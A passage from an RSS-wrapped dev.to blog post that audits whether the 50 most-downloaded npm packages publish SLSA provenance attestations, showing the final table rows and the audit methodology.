&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;json5&lt;/td&gt;
&lt;td&gt;157,069,492&lt;/td&gt;
&lt;td&gt;2.2.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;eslint-scope&lt;/td&gt;
&lt;td&gt;155,326,676&lt;/td&gt;
&lt;td&gt;9.1.2&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;get-stream&lt;/td&gt;
&lt;td&gt;154,148,256&lt;/td&gt;
&lt;td&gt;9.0.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;
&lt;a class="mentioned-user" href="https://dev.to/babel"&gt;@babel&lt;/a&gt;/code-frame&lt;/td&gt;
&lt;td&gt;153,078,228&lt;/td&gt;
&lt;td&gt;7.29.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;
&lt;a class="mentioned-user" href="https://dev.to/babel"&gt;@babel&lt;/a&gt;/types&lt;/td&gt;
&lt;td&gt;152,109,091&lt;/td&gt;
&lt;td&gt;7.29.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Methodology
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Audit date&lt;/strong&gt;: 13 April 2026&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Download ranking&lt;/strong&gt;: npm public downloads API (&lt;code&gt;api.npmjs.org/downloads/point/last-week/&amp;lt;pkg&amp;gt;&lt;/code&gt;), aggregated from a
candidate pool of around 868 high-traffic packages including the full &lt;code&gt;@types/*&lt;/code&gt;, &lt;code&gt;@babel/*&lt;/code&gt;, framework families,
build tooling, ESLint plugins, and common scoped packages, then sorted by weekly downloads&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Provenance check&lt;/strong&gt;: &lt;code&gt;registry.npmjs.org/-/npm/v1/attestations/&amp;lt;pkg&amp;gt;@&amp;lt;version&amp;gt;&lt;/code&gt;, verifying &lt;code&gt;slsa.dev/provenance/v1&lt;/code&gt;
predicate type&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verification&lt;/strong&gt;: each positive result had its DSSE envelope payload decoded and inspected for
&lt;code&gt;predicate.buildDefinition.externalParameters.workflow&lt;/code&gt; to confirm the binding to source&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The ranking is accurate to within a few positions inside the top 50. The 6/50 headline is unaffected by minor rank&lt;br&gt;
swaps. Raw audit data available on request.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>security</category>
      <category>npm</category>
    </item>
  </channel>
</rss>
